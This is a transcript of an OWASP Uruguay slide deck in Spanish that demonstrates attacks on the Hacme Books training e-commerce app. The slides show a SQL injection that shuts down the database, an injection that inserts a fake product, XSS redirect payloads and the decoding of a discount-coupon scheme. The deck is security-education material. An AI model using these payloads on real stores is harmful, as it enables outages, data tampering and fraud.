Ejemplos Prácticos de Hacking a un eCommerce Mateo Martínez , QSA, CISSP OWASP URUGUAY

27
Ejemplos Prácticos de Hacking a un eCommerce Mateo Martínez, QSA, CISSP OWASP URUGUAY

description

Ejemplos Prácticos de Hacking a un eCommerce Mateo Martínez , QSA, CISSP OWASP URUGUAY. OWASP Vulnerable Web Applications Directory Project. Get out of Jail!. http:// goo.gl /84NfEv. HackPack v1.0 Hacme Bank - Android v1.0 Hacme Bank v2.0 Hacme Books Hacme Casino v1.0 - PowerPoint PPT Presentation

Transcript of Ejemplos Prácticos de Hacking a un eCommerce Mateo Martínez , QSA, CISSP OWASP URUGUAY

Page 1: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

Ejemplos Prácticos de Hacking a un

eCommerce

Mateo Martínez, QSA, CISSPOWASP URUGUAY

Page 2: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

OWASP Vulnerable Web Applications Directory

Project

http://goo.gl/84NfEv

Get out of Jail!

Page 3: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

HackPack v1.0

Hacme Bank - Android v1.0

Hacme Bank v2.0

Hacme Books

Hacme Casino v1.0

Hacme Shipping

Hacme Travel

Page 4: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

#1Generación de

Errores

Page 5: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

“ ’ ”

Page 6: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

stack trace

Page 7: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

“ ’ ”• Tipo de BD – Hypersonic SQL (org.hsqldb)

• Servidor de Aplicación – Apache Tomcat

• Utiliza Spring framework

• Aplicación J2EE application – Java namespaces

Page 8: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

#2Inyección SQL (a)

Page 9: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

Comando para hacer un halt al servidor de BD en HSQLDB :SHUTDOWN

Page 10: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

Comando para hacer un halt al servidor de BD en HSQLDB :SHUTDOWN

Page 11: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

select * from products where title like '%texto_del_usuario%' and like '%otro_texto_del_usuario%'

Page 12: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

select * from products where title like '%'; SHUTDOWN; --%' and like '%otro_texto_del_usuario%'

Page 13: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

#2Inyección SQL (b)

Page 14: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

my feedback', 735); insert into products (title, description, popularity, price, vendor, category, publisher, isbn, author, imgurl, quantity) values ('Eat my shorts you pointy haired boss','A great book',4,29.95,'Amazon','Technical','Addison Wesley','1234567890123','Disgruntled Employee','http://',1); --

Page 15: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

#3XSS

(Cross-Site Scripting)

Page 16: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

<script>alert("XSS")</script>

Page 17: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

You should buy our latest bestseller instead of this book.

<script>

location="http://localhost:8989/HacmeBooks/addShoppingCart.html?productId=1470"

</script>

Page 18: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

#4CSRF

(Cross-Site Request Forgery)

Page 20: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

#5Crypto

Page 21: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

15 % de DescuentoAEODBOBOOF

25% de DescuentoBEAAABBOOF BEOABDBOOF

Page 22: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

AEODBOBOOF BEAAABBOOF BEOABDBOOF

BEAAAB2006

BEOABD2006

2511122006 2501242006

Page 23: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

% Mes Día Año15 04 20 2006 25 11 12 2006 95 04 20

2014 IE OD BO BOAD

Probar este cupón: IEODBOBOAD

Page 24: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

#6Broken Access

Control

Page 25: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY
Page 26: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

Hacme Bookshttp://sourceforge.net/projects/foundstone

Page 27: Ejemplos Prácticos de Hacking a un  eCommerce Mateo  Martínez ,  QSA, CISSP OWASP URUGUAY

¡Muchas gracias!

[email protected]